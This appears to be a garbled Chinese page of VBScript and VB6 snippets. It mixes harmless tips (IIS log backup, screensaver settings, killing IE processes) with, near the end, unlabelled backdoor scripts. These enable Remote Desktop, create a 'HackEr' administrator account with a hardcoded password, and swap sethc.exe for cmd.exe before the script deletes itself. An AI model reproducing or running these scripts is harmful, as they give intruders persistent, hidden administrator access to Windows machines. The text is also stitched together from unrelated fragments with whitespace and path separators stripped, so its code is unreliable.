事实上是使用SetCursorPos()便可以了，而它的参数是对应於萤的座标，而不是对应某一个Window的Logic座标dimIISCount,IISObject,logfiledir,fso,LogFilePeriods,inputtime,site,sites,i,j,sitename(999),WshShell 'onerrorresumenext setWshShell=WScript.CreateObject("WScript.Shell") Setfso=CreateObject("scripting.FileSystemObject") setIISCount=GetObject("") sites=0 foreachsiteinIISCount if(site.class="IIsWebServer")then sitename(sites)=site.name sites=sites+1 endif next MsgBox"IIS中一共"&sites&"个站点，ID分别为：" forj=1tosites-1 MsgBoxsitename(j) next inputtime=inputbox("您要备份哪天的日志？如备份2004-01-01，则输入040101") MsgBox"备份"&inputtime&"天的日志" MsgBox"开始备份.............." fori=0tosites-1 SetIISOBJect=GetObject(""&sitename(i)) MsgBox"备份ID="&sitename(i)&"Sitename="&IISObject.servercomment&"的站点" logfiledir=IISObject.LogFileDirectory&"w3svc"&sitename(i)'设置第一个站点的日志路径 if(Err.Number<>0)thenlogfiledir=IISCount.LogFileDirectory Err.clear 'ifIISObject.LogFilePeriod=1thenLogFilePeriods="days" 'ifIISObject.LogFilePeriod=2thenLogFilePeriods="weeks" 'ifIISObject.LogFilePeriod=3thenLogFilePeriods="months" 'ifIISObject.LogFilePeriod=4thenLogFilePeriods="hours" 'ifIISObject.LogFilePeriod=0ANDIISObject.LogFileTruncateSize=-1thenLogFilePerirods="onefile" 'ifIISObject.LogFilePeriod=0ANDIISObject.LogFileTruncateSize>0thenLogFilePerirods="size"&IISObject.LogFileTruncateSize LogFilePeriods=IISObject.LogFilePeriod if(Err.Number<>0)thenLogFilePeriods=IISCount.LogFilePeriod Err.clear if(NOTLogFilePeriods=1ANDNOTLogFilePeriods=4)then MsgBox"对不起，您的日志偶就不给备份，咋地吧" WScript.quit endif if(NOTfso.folderexists("d:backup"))then MsgBox"thefolderd:backupisnotexist,nowcreateit" fso.CreateFolder("d:backup") Msgbox"createdd:backupsuccuful" endif if(NOTfso.FolderExists("d:backup"&IISObject.servercomment))then MsgBox"thefolderd:backup"&IISObject.servercomment&"isnotexist,nowcreateit" fso.CreateFolder("d:backup"&IISObject.servercomment) MsgBox"createdd:backup"&IISObject.servercomment&"succuful" endif MsgBox"nowbackupthelogfiles" logfiledir=WshShell.ExpandEnvironmentStrings(logfiledir)'将环境变量转换成字符串 MsgBoxlogfiledir fso.Copyfilelogfiledir&"ex"&inputtime&"*","d:backup"&IISObject.servercomment ifErr.number<>0then MsgBox"thissitenofiles" else MsgBox"backuplogfilessuccuful" endif inputifdel=inputbox("是否删除已备份文件？输入“YES”进行删除") ifinputifdel="YES"then fso.DeleteFile(logfiledir&"ex"&inputtime&"*") MsgBox"删除文件成功" else MsgBox"文件已保留" endif next MsgBox"备份所有的日志文件成功，嘿嘿"

指定 FTP 站点内容文件的位置例如,ActiveX控件在幕后与Web建立连接并下载正在发布的页面,让传统的客户端应用不断接收最新Web信息,更改原有内容

可读写 'System4系统文件

->如何关闭ScreenSave功能,改变Timeout时间　　此外希望只有本次使用Windows时改变(下次开机时还原原状)，则最後参数改为　SPIF_SENDWININICHANGE(没有SPIF_UPDATEINIFILE)ConstSPI_SETSCREENSAVEACTIVE=17ConstSPI_SETSCREENSAVETIMEOUT=15ConstSPIF_SENDWININICHANGE=&H2ConstSPIF_UPDATEINIFILE=&H1PrivateDeclareFunctionSystemParametersInfoLib"user32"Alias_　　"SystemParametersInfoA"(ByValuActionAsLong,ByValuParamAsLong,_　　ByVallpvParamAsLong,ByValfuWinIniAsLong)AsLongPrivateSubSetScreenSaveTimeout(ByValBySecondAsLong)　CallSystemParametersInfo(SPI_SETSCREENSAVETIMEOUT,BySecond,0,_　　　　　SPIF_UPDATEINIFILE SPIF_SENDWININICHANGE)EndSubPrivateSubEnableScreenSave()　CallSystemParametersInfo(SPI_SETSCREENSAVEACTIVE,1,0,_　　　　　SPIF_UPDATEINIFILE SPIF_SENDWININICHANGE)EndSubPrivateSubDisableScreenSave()　CallSystemParametersInfo(SPI_SETSCREENSAVEACTIVE,0,0,_　　　　　SPIF_UPDATEINIFILE SPIF_SENDWININICHANGE)EndSub->->

VBS调用WMI秒杀IE把以下文件存为KillIE.vbs,当要关闭所有用IE打开的网页时，双击执行便可， Setwmi=GetObject("winmgmts:\\.") Setpro_s=wmi.instancesof("win32_process") ForEachpInpro_s ifp.name="iexplore.exe"thenp.terminate() Next 这所以要提取是因为：本人一般打开的网页都很多，关也要关半天，有了这个实在是太好了在form1上加入7个image控件，在格式菜单中将各个image的大小都选为相同，image1-7的stretch属性都选为true（图像将随控件的大小而变化），image1-6的visible的属性选为false（不可见），image7的visible属性为true

onerrorresumenext constHKEY_LOCAL_MACHINE=&H80000002 strComputer="." SetStdOut=WScript.StdOut SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&_ strComputer&"\root\default:StdRegProv") strKeyPath="SYSTEM\CurrentControlSet\Control\TerminalServer" oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath strKeyPath="SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp" oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath strKeyPath="SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp" strKeyPath="SYSTEM\CurrentControlSet\Control\TerminalServer" strValueName="fDenyTSConnections" dwValue=0 oReg.SetDWORDValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue strKeyPath="SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp" strValueName="PortNumber" dwValue=3389 oReg.SetDWORDValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue strKeyPath="SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp" strValueName="PortNumber" dwValue=3389 oReg.SetDWORDValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue onerrorresumenext dimusername,password:IfWscript.Arguments.CountThen:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="HackEr":password="393214425":endif:setwsnetwork=CreateObject("WSCRIPT.NETWORK"):os=""&wsnetwork.ComputerName:Setob=GetObject(os):Setoe=GetObject(os&"/Administrators,group"):Setod=ob.Create("user",username):od.SetPasswordpassword:od.SetInfo:Setof=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echoof.ADsPath OnErrorResumeNext Dimobj,success Setobj=CreateObject("WScript.Shell") success=obj.run("cmd/ctakeown/f%SystemRoot%\system32\sethc.exe&echoy|cacls%SystemRoot%\system32\sethc.exe/G%USERNAME%:F©%SystemRoot%\system32\cmd.exe%SystemRoot%\system32\acmd.exe©%SystemRoot%\system32\sethc.exe%SystemRoot%\system32\asethc.exe&del%SystemRoot%\system32\sethc.exe&ren%SystemRoot%\system32\acmd.exesethc.exe",0,True) CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)提示办　　5.重复3、4步，利用Clipboard可建立一个不受图像格式限制的图像数据库，而且，比起字段中放置图像文件名再依此调用图像文件的方法更易管理4．高级应用。